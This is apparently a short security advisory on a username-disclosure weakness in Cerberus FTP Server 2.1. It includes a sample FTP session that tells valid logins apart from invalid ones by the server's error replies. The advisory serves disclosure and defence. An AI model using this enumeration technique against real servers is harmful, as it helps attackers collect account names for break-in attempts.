source: https://www.securityfocus.com/bid/7369/info

It has been reported that Cerberus FTP Server is prone to an information disclosure weakness.

The problem exists in the way the FTP server handles the authentication procedure. An attacker may exploit a weakness in error handling to disclose valid usernames.

It should be noted that although this weakness was reported to affect Cerberus FTP server version 2.1, previous versions might also be affected.

c:\ ftp www.example.com
User (X.X.X.X:(none)): Not_Valid_User
530 Unknown user
***
Login failed.
Valid User ( The Username Is Hack )
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c:\ ftp www.example.com
User (X.X.X.X:(none)): Hack
331 User Hack Ok, password please
***
Password: